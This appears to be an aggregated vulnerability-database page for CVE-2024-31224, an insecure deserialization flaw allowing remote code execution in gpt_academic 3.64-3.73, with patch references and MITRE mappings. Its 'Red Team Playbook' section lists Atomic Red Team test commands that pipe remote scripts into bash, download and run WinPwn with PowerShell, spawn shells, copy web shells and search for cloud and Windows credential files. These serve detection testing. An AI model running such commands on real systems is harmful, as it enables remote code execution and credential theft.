CVE-2024-31224
Overview
The vulnerability is a deserialization flaw in the GPT Academic server component of binary-husky's gpt_academic product. It arises from the server improperly deserializing untrusted data received from clients without adequate validation or sanitization. This insecure deserialization occurs in versions 3.64 through 3.73, affecting the data handling routines responsible for processing client input.
Vulnerability Description
GPT Academic provides interactive interfaces for large language models. A vulnerability was found in gpt_academic versions 3.64 through 3.73. The server deserializes untrustworthy data from the client, which may risk remote code execution. Any device that exposes the GPT Academic service to the Internet is vulnerable. Version 3.74 contains a patch for the issue. There are no known workarounds aside from upgrading to a patched version.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network to execute arbitrary code on the GPT Academic server, potentially gaining full control over the affected system. Since the service is often exposed to the Internet, this allows remote compromise without user interaction or credentials, enabling data theft, service disruption, or lateral movement. The CVSS vector AV:N/AC:L/PR:N/UI:N indicates low attack complexity and no privileges required, amplifying the severity of the impact.
Solution
Users must upgrade gpt_academic to version 3.74 or later, where the deserialization vulnerability is patched as detailed in the GitHub security advisory GHSA-jcjc-89wr-vv7g. The vendor’s pull request #1648 and commit 8af6c0cab6d96f5c4520bec85b24802e6e823f35 contain the implemented fix. No alternative workarounds exist; therefore, immediate upgrading is the recommended remediation step to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in GPT Academic arises from the insecure deserialization of data received from clients. In versions 3.64 through 3.73, the server processes untrusted input without adequate validation, allowing an attacker to craft malicious data that, when deserialized, can lead to arbitrary code execution on the server. This flaw is particularly critical because it opens a pathway for attackers to execute commands with the same privileges as the application, potentially compromising the entire system. The risk is amplified in environments where the service is exposed to the Internet, as it increases the attack surface and the likelihood of exploitation.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could send specially crafted requests to the GPT Academic service, embedding malicious payloads that exploit the deserialization flaw. Once the server processes this data, the attacker could gain control over the server, executing arbitrary commands or deploying additional malware. Scenarios could range from data theft and unauthorized access to sensitive information, to complete system takeover, depending on the privileges of the application and the underlying operating system. The ease of exploitation, combined with the high impact potential, makes this vulnerability particularly concerning for organizations that utilize GPT Academic in their operations.
The real-world impact of this vulnerability can be severe, especially for organizations that rely on GPT Academic for critical functions. A successful exploitation could lead to significant business risks, including data breaches, loss of intellectual property, and reputational damage. The financial implications could also be substantial, with costs associated with incident response, system recovery, and potential regulatory fines. Furthermore, the trust of clients and stakeholders could be eroded, leading to long-term consequences for the organization’s market position. Given the high CVSS score of 9.8, this vulnerability should be treated with the utmost urgency.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the patched version (3.74) of GPT Academic, as this is the only reliable solution to eliminate the risk. Regularly monitoring for updates and applying security patches promptly is essential for maintaining a secure environment. Additionally, implementing network segmentation can help limit exposure to the Internet, reducing the likelihood of unauthorized access. Organizations should also consider employing intrusion detection systems (IDS) to monitor for unusual activity that may indicate exploitation attempts. Conducting regular security assessments and penetration testing can further identify potential weaknesses in the system, allowing for proactive risk management.
In conclusion, the vulnerability in GPT Academic represents a significant threat to organizations that utilize this service. The potential for remote code execution through insecure deserialization poses a high risk, particularly for systems exposed to the Internet. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to defend against such threats. Implementing robust detection and mitigation strategies, including timely upgrades and network security measures, will be crucial in safeguarding against exploitation and ensuring the integrity of their systems.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Binary-Husky | Gpt Academic | All |
cpe:2.3:a:binary-husky:gpt_academic:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
55%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-31224 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/binary-husky/gpt_academic/security/advisories/GHSA-jcjc-89wr-vv7g |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/binary-husky/gpt_academic/pull/1648 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/binary-husky/gpt_academic/commit/8af6c0cab6d96f5c4520bec85b24802e6e823f35 |